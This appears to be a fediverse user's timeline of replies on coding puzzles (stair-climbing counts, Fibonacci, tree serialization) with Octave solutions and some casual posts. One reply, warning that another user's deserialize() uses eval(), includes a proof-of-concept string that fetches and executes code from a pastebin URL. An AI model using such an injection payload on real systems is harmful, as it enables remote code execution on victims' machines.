K‮ly‬e @khird@qoto.org

@Absinthe Your approach makes more sense now. Generating that table for an arbitrary combination of numbers and sum is a hard problem: stackoverflow.com/questions/4632322

There happens to be a nice closed-form solution for "ones" and "twos" when X = {1, 2}, so it's convenient for that specific case but I don't think it will generalise nicely.

@Absinthe @freemo I see. I'm studying your NFact() right now; would you mind describing how the problem relates to the factorial function, the way I did for the Fibonacci numbers?

@Absinthe @freemo

Yeah I worked it out to about 204 million. To clarify - all 200 million aren't on the stack simultaneously; imagine a binary tree 40 levels deep with 200 million nodes - you're never more than 40 steps away from the root node but visiting all nodes still takes a long time.

I don't understand your uncertainty about the 1,3,5 problem - doesn't NArr() apply the same concept to an arbitrary array of integers? What's left to do after that?

@Absinthe @freemo

That will find the answer eventually, but at the cost of exponential time complexity. N(40) calls N() recursively over 200 million times.

@Absinthe @freemo

The number of solutions can be found inductively.

One stair can be walked in exactly one way: a single one-step.

Two stairs can be walked in exactly two ways: a single two-step, or two consecutive one-steps.

Knowing the solutions for 1, 2, ..., N-1, we can divide the number of ways to walk N stairs into two classes: a one-step followed by any valid way of walking N-1 stairs, or a two-step followed by any valid way of walking N-2 stairs. These are mutually exclusive (no valid walk is a member of both classes) and exhaustive (any valid walk is a member of one of these classes) so we can simply add the number of members of each class: F(N) = F(N-1) + F(N-2).

As it happens, this is the definition of the Fibonacci numbers.

@Absinthe

This implementation uses memoization, resulting in a space complexity linear in K and time complexity linear in K*|X| for some K between 1 and N inclusive.

function count = step_orders(distance, permissible_steps = [1, 2])
memos = sparse(distance, 1);
hits = (memos ~= 0);
count = step_orders_stateful(distance);
function sub_count = step_orders_stateful(sub_distance)
sub_count = 0;
for first_step = permissible_steps
remainder = sub_distance - first_step;
if remainder > 0
if ~hits(remainder)
memos(remainder) = step_orders_stateful(remainder);
hits(remainder) = true; end;
sub_count += memos(remainder);
elseif remainder == 0
sub_count += 1; end; end; end; end;

@Absinthe

Linear time, constant space

function total = nonadjacent_sum(weight_vector)
total = 0;
alternate_sum = zeros(2, 1);
for i = 1:numel(weight_vector)
parity = mod(i, 2) + 1;
if alternate_sum(3 - parity) > alternate_sum(parity) + weight_vector(i)
total += alternate_sum(3 - parity);
alternate_sum = zeros(2, 1);
elseif weight_vector(i) > 0
alternate_sum(parity) += weight_vector(i); end; end;
total += max(alternate_sum); end;

@mngrif Fedilab (mastalab at the time) would drain my battery like nobody's business; couldn't go a full day with it running in the background. Is the lite version more responsible about power usage?

@TatsuyaIshida In the comic you posted on Tuesday (https://spinster.xyz/@TatsuyaIshida/posts/102888328595345330) the third row looks like Clio, Tessy, someone else, and Clio again - who is in the third panel?

@billstclair @Absinthe @freemo

This solution gives wrong answers in certain cases. E.g. "10" should return one solution, the letter "j', but instead it gives zero. I'm suspicious of the inequalities on line 95 (strictly greater than zero AND strictly less than twenty-six permits the integers 1-25, which looks like a fencepost error given a 26-character alphabet).

@Absinthe @namark

My take on it is, "Man-hours cost more than CPU-hours." Say I figure out a more sophisticated algorithm that can save CPU time, but implementing it and debugging the extra complexity costs an hour of my time. It probably doesn't make sense to go that route unless it will save more than about fifty hours of compute time in the long run.

E.g. if on a typical dataset I can save a second per run by getting fancy, we would recoup my invested time after 180,000 executions of the program. If it's a report that gets run daily, that break-even point is about five hundred years in the future.

@Absinthe

Linear in time and space by taking advantage of the Fibonacci numbers.

function count = interpretations(string)
ambig = string(1:end-1) == '1' | (string(1:end-1) == '2' & string(2:end) <= '6');
ambig &= string(1:end-1) ~= '0' & string(2:end) ~= '0' & [string(3:end) '1'] ~= '0';
ambig = [false ambig false];
consec = find(ambig(1:end-1) & !ambig(2:end)) - find(!ambig(1:end-1) & ambig(2:end));

fibo = zeros(max(consec), 1);
fibo(1:2) = [2 3];
for i = 3:max(consec)
fibo(i) = fibo(i - 1) + fibo(i - 2); end;
count = prod(arrayfun(@(x)fibo(x), consec)); end;

@namark

That doesn't cause a stack overflow anymore, but it still fails to parse, e.g. if you rename the "left.left" node to "0", "sometext|0", "sometext|0|moretext", etc.

Also this is a *weird* language.

@Absinthe @billstclair @namark

I don't think you need any global variables.

Your input string looks something like Node('foo',None,Node('bar',None,None)) based on the ouput of your version of serialize(), right? So you can parse it recursively. The general algorithm could be something like:

1. Check that the string begins with 'Node('.

2. Find the first comma. Everything between 'Node(' until this point is self.val.

3. If the next four characters after the comma are 'None' self.left is None.

4. If self.left is not None, examine the string starting after the comma.
a. Set the nesting level to zero.
b. For every open-paren increment the nesting level by one.
c. For every close-paren decrement the nesting level by one.
d. When you find a comma AND the nesting level is zero, stop.

5. Recursively call deserialize() on everything between the comma you found in step 2 and the comma you found in step 4d. Save the answer as self.left.

6. If the next four characters after the comma are 'None' self.right is None.

7. If self.right is not None, examine the string starting after the comma.
a. Set the nesting level to zero.
b. For every open-paren increment the nesting level by one.
c. For every close-paren decrement the nesting level by one.
d. When you find a close-paren AND the nesting level is zero, stop.

8. Recursively call deserialize() on everything between the comma you found in step 4d and the close-paren you found in step 7d. Save the answer as self.right.

@freemo Looks like you get the most consistent linewidth with 3 but I find the grey ink from 4 most attractive. Have you used oblique pens or only straight ones?

function indices = control_chars(string)
special_chars = strchr(string, '(,)');
indices = [];
if ~isempty(special_chars)
is_backslash = string == '\';
for i = special_chars
is_escaped = false;
for j = (i - 1):-1:1
if is_backslash(j)
is_escaped = ~is_escaped;
else
break; end; end;
if ~is_escaped
indices = [indices i]; end; end; end; end;

function node = deserialize(string)
controls = control_chars(string);
if numel(controls) == 0
node.val = unescape_chars(string);
node.left = [];
node.right = [];
else
if string(controls(1)) ~= '('
error('Invalid control character at %d', controls(1)); end;
nested_level = 0;
top_controls = NaN(3, 1);
for i = controls
switch string(i)
case '('
if nested_level == 0
top_controls(1) = i; end;
nested_level++;
case ','
if nested_level == 1
if ~isnan(top_controls(2))
error('Encountered '','' at %d after finding two children', i); end;
top_controls(2) = i; end;
case ')'
if nested_level <= 1
if isnan(top_controls(2))
error('Encountered '')'' at %d before finding two children', i);
elseif i ~= numel(string)
error('Encountered final '')'' at %d before end of string', i); end;
top_controls(3) = i; end;
nested_level--; end; end;
if any(isnan(top_controls))
error('Incomplete tree description'); end;
node.val = unescape_chars(string(1:(top_controls(1) - 1)));
node.left = deserialize(string((top_controls(1) + 1):(top_controls(2) - 1)));
node.right = deserialize(string((top_controls(2) + 1):(end - 1))); end; end;

@Absinthe I have hardly any experience with Python but I think you ought to write your own parser that reports an error on input that can't represent an actual tree (this is what I did in my solution, anyway). The other issue is making sure you escape any special characters in Node.val so your parser doesn't treat them as control characters.

function self = node(val, left = [], right = [])
self.val = val;
self.left = left;
self.right = right; end;

function escaped = escape_chars(raw)
escaped = regexprep(raw, '([\\\(\),])', '\\$1'); end;

function raw = unescape_chars(escaped)
i = 1;
while i < numel(escaped)
if escaped(i) == '\'
escaped = escaped([1:(i - 1) (i + 1):end]); end;
i++; end;
raw = escaped; end

function index = val_extent(string)
special_chars = strchr(string, '(,)');
if isempty(special_chars)
index = 0;
else
is_backslash = string == '\';
for i = special_chars
is_escaped = false;
for j = (i - 1):-1:1
if is_backslash(j)
is_escaped = ~is_escaped;
else
break; end; end;
if ~is_escaped
break; end; end;
index = i; end; end;

function string = serialize(tree)
if isempty(tree)
string = [];
elseif isempty(tree.left) && isempty(tree.right)
string = escape_chars(tree.val);
else
string = [escape_chars(tree.val) '(' serialize(tree.left) ',' serialize(tree.right) ')']; end; end

function [node, leftover] = deserialize(string)
next_special = val_extent(string);
if next_special == 0
node.val = unescape_chars(string);
node.left = [];
node.right = [];
leftover = [];
elseif string(next_special) == '('
node.val = unescape_chars(string(1:(next_special - 1)));
leftover = string((next_special + 1):end);
[node.left, leftover] = deserialize(leftover);
[node.right, leftover] = deserialize(leftover);
else
if next_special == 1
node = [];
else
node.val = unescape_chars(string(1:(next_special - 1)));
node.left = [];
node.right = []; end
if string(next_special) == ','
leftover = string((next_special + 1):end);
else
leftover = string((next_special + 2):end); end; end; end;

@Absinthe Your implementation of serialize() can't handle nodes whose names contain quote marks. Ordinarily this would only cause it to output strings that deserialize() can't understand, but, since your implementation of deserialize() eval()s its argument, it's possible to execute arbitrary code on any machine attempting to deserialize(serialize()). For example:

node = Node("' + str(exec('import urllib.request; exec(urllib.request.urlopen(\\\'https://pastebin.com/raw/Tuh7jNbc\\\').read())')) + '")

deserialize(serialize(node));

function index = first_missing(array)

for i = 1:numel(array)
index = array(i);
if index > 0 && index <= numel(array)
array(i) = array(index);
array(index) = index; end; end;
index = i + 1;
while i > 0
if array(i) != i
index = i; end;
i--; end; end;